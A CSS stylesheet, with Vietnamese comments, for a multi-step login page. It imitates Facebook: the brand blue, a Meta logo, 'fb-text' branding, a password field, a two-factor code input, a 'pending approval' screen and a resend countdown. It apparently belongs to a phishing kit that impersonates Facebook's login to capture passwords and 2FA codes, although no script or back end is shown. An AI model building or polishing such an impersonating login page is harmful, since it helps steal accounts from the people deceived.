body {
      margin: 0;
      padding: 0;
      font-family: Arial, sans-serif;
      background: linear-gradient(
      white
    );
    z-index: 0;
  
      height: 100vh;
      display: flex;
      justify-content: center;
      align-items: center;
    }
    .container {
      max-width: 400px;
      width: 100%;
      text-align: center;
      box-sizing: border-box;
    }
    .logo {
      width: 57px; 
      height: auto; 
      margin: 0 auto 20px;
    }
    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
    input,
    button {
      width: 100%;
      padding: 15px;
      margin: 12px 0;
      font-size: 16px;
      box-sizing: border-box;
      border-radius: 8px;
      border: 1px solid #ddd;
    }
    button {
      background-color: #1877f2;
      color: white;
      border: none;
      border-radius: 25px;
      cursor: pointer;
      transition: background-color 0.3s ease;
      position: relative;
      display: flex;
      justify-content: center;
      align-items: center;
    }
    button.loading span {
      visibility: hidden;
    }
    button.loading::after {
      content: "";
      position: absolute;
      top: 50%;
      left: 50%;
      width: 16px;
      height: 16px;
      border: 2px solid #ffffff;
      border-top-color: transparent;
      border-radius: 50%;
      animation: spin 0.8s linear infinite;
      transform: translate(-50%, -50%);
    }
    @keyframes spin {
      from {
        transform: translate(-50%, -50%) rotate(0deg);
      }
      to {
        transform: translate(-50%, -50%) rotate(360deg);
      }
    }
    .secondary-button {
    width: 100%;
    padding: 14px;
    background-color: white;
    color: #1877f2;
    font-size: 16px;
    border: 1px solid #ddd;
    border-radius: 25px;
    cursor: pointer;
    transition: background-color 0.3s ease, color 0.3s ease;
    margin-top: 12px;
    border: 1px solid #1877f2; /* Added green border */
}
    .hidden {
      display: none;
    }
    .error-message {
      color: red;
      font-size: 14px;
      margin-top: 15px;
      text-align: center;
    }
    .countdown {
      font-size: 14px;
      color: red;
      margin-top: 10px;
    }
.logo-container {
  display: flex;
  justify-content: center;  /* 🔹 Căn giữa ngang */
  align-items: center;      /* 🔹 Giữa theo trục dọc nếu có padding */
  margin-top: 20px;
}

.meta-text {
  width: 60px;
  opacity: 0.7;
  height: auto;
  margin: 0;                /* 🔹 Xóa margin lệch */
  display: block;
}



    /* Căn lề trái cho phần tiêu đề và đoạn mô tả */
    #step3 h3,
    #step3 p {
      text-align: left;
      margin-left: 0;
    }

    .english-text {
      opacity: 0.6; /* Làm mờ chữ một chút */
      font-size: 14px;
      color: #606770;
    }
    .password-container {
      position: relative;
      width: 100%;
    }

    .toggle-password {
      position: absolute;
      right: 10px;
      top: 50%;
      transform: translateY(-50%);
      cursor: pointer;
    }
    .pending-approval {
    display: flex;
    align-items: center;
    justify-content: flex-start; /* Căn lề trái */
    gap: 10px;
    width: 100%;
    margin-bottom: 20px;
}

/* Hình tròn nhỏ hơn và dấu 3 chấm */
.loading-circle {
    width: 20px;
    height: 20px;
    border: 2px solid black;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
}

/* Chấm nhỏ hơn */
.dot {
    width: 4px;
    height: 4px;
    background-color: black;
    border-radius: 50%;
    margin: 0 1px;
    animation: blink 1.5s infinite ease-in-out;
}

#step3 .pending-approval {
  margin-bottom: 5px; /* Decrease the margin below the 'Pending approval' text */
}

#step3 form {
  margin-top: 5px; /* Reduce the margin above the input box */
}

#step3 .approval-text p {
  margin-top: 5px; /* Adjust the top margin to bring the text closer to the form */
}

body {
            font-family: Arial, sans-serif;
           background: linear-gradient(
      white
    );
    z-index: 0;
  
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            position: relative;
        }
        .modal {
            display: flex;
            align-items: center;
            justify-content: center;
            position: fixed;
            z-index: 10;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.4);
        }
        .modal-content {
            background-color: white;
            padding: 20px;
            border-radius: 10px;
            width: 250px;
            text-align: center;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
            position: relative;
        }
        
        .modal hr {
            border: none;
            border-top: 1px solid #ccc;
            margin: 13px 0;
            width: calc(100% + 40px);
            position: relative;
            left: -20px;
        }
        .modal button {
            background-color: transparent;
            color: #007BFF;
            border: none;
            padding: 0px 0;
            margin-top: 5px;
            border-radius: 5px;
            cursor: pointer;
            font-weight: normal;
            font-size: 14px;
        }
        .container {
            max-width: 400px;
            width: 100%;
            text-align: center;
            box-sizing: border-box;
            position: relative;
            z-index: 1;
        }
@media (min-width: 768px) {
.container {
  max-width: 520px;
  background-color: #fff;
  padding: 36px 28px; /* 🔹 giảm padding ngang một chút */
  border-radius: 8px;
  box-shadow: 0 2px 12px rgba(0, 0, 0, 0.05);
  border: 1px solid #dddfe2;
  text-align: left;
}



  input,
  button {
    font-size: 15px;
    padding: 12px 14px;
  }

  .logo {
    width: 52px;
    margin-bottom: 24px;
    display: block;
    margin-left: auto;
    margin-right: auto; /* logo vẫn căn giữa */
  }

  h3 {
    font-size: 17px;
    margin-bottom: 10px;
    color: #050505;
  }

  p {
    font-size: 14px;
    color: #606770;
  }
}

#step3 {
  text-align: left;
}

.auth-image {
  display: block;
  width: 100%;          /* ✅ bằng chiều ngang nút */
  max-width: none;
  margin: 20px 0;       /* ✅ bỏ tràn hai bên */
  border-radius: 6px;
  border: 1px solid #ddd;
  height: auto;
}

.resend-timer {
  margin: 12px 0 20px 0;
}

#auth-form input {
  margin-top: 10px;
}

#step3 .approval-text p {
  margin: 2px 0;      /* thu nhỏ khoảng cách giữa các dòng text */
}

.pending-approval {
  margin-bottom: 10px; /* giảm khoảng cách dưới phần “承認を待っています” */
}
.resend-timer {
  display: flex;
  align-items: center;
  justify-content: flex-start;
  gap: 8px;
  margin-top: 10px;      /* giữ khoảng cách trên vừa phải */
  margin-bottom: 8px;    /* 🔹 giảm khoảng cách với nút */
  font-size: 14px;
  color: #000;
}


.resend-icon svg {
  width: 20px;
  height: 20px;
  stroke: #000; /* 🔹 Mũi tên màu đen */
  stroke-width: 2;
  fill: none;
}

.resend-timer strong {
  color: #000; /* 🔹 Số đếm ngược màu đen */
}
#login-button,
#auth-button {
  padding: 14px 14px;   /* 🔹 giảm nhẹ chiều cao */
  font-size: 15px;      /* 🔹 chữ vẫn vừa mắt */
  border-radius: 24px;  /* 🔹 giữ độ bo mềm mại */
  font-weight: 600;
}
@media (min-width: 768px) {
  input {
    padding: 15px 14px;   /* 🔹 tăng chiều cao thêm 3px */
    font-size: 15px;      /* 🔹 chữ vừa mắt, không bị nhỏ */
    border-radius: 8px;   /* 🔹 bo nhẹ cho đồng bộ với nút */
  }

  #auth-code {
    padding: 15px 14px;   /* 🔹 đồng bộ cho ô nhập mã 2FA */
  }
}
.resend-icon svg {
  width: 18px;
  height: 18px;
  vertical-align: middle;
  stroke: currentColor;
  fill: none;
  stroke-width: 2;
}
/* Thanh ngang chỉ hiển thị khi màn hình >= 768px */
@media (min-width: 768px) {
  .top-bar {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    background-color: #ffffff; /* Màu trắng */
    height: 50px;
    display: flex;
    align-items: center;
    box-shadow: 0 1px 4px rgba(0,0,0,0.1);
    z-index: 999;
  }

  .top-bar-content {
    display: flex;
    align-items: center;
    padding-left: 20px;
  }

  .fb-text {
    color: #1877f2; /* Màu xanh Facebook */
    font-size: 24px;
    font-weight: bold;
    font-family: Helvetica, Arial, sans-serif;
    text-transform: lowercase;
    letter-spacing: 0.5px;
  }

  /* Đẩy nội dung xuống để không bị che */
  #step3 {
    margin-top: 70px;
  }
}

/* Ẩn thanh ngang trên thiết bị nhỏ hơn 768px */
@media (max-width: 767px) {
  .top-bar {
    display: none;
  }
}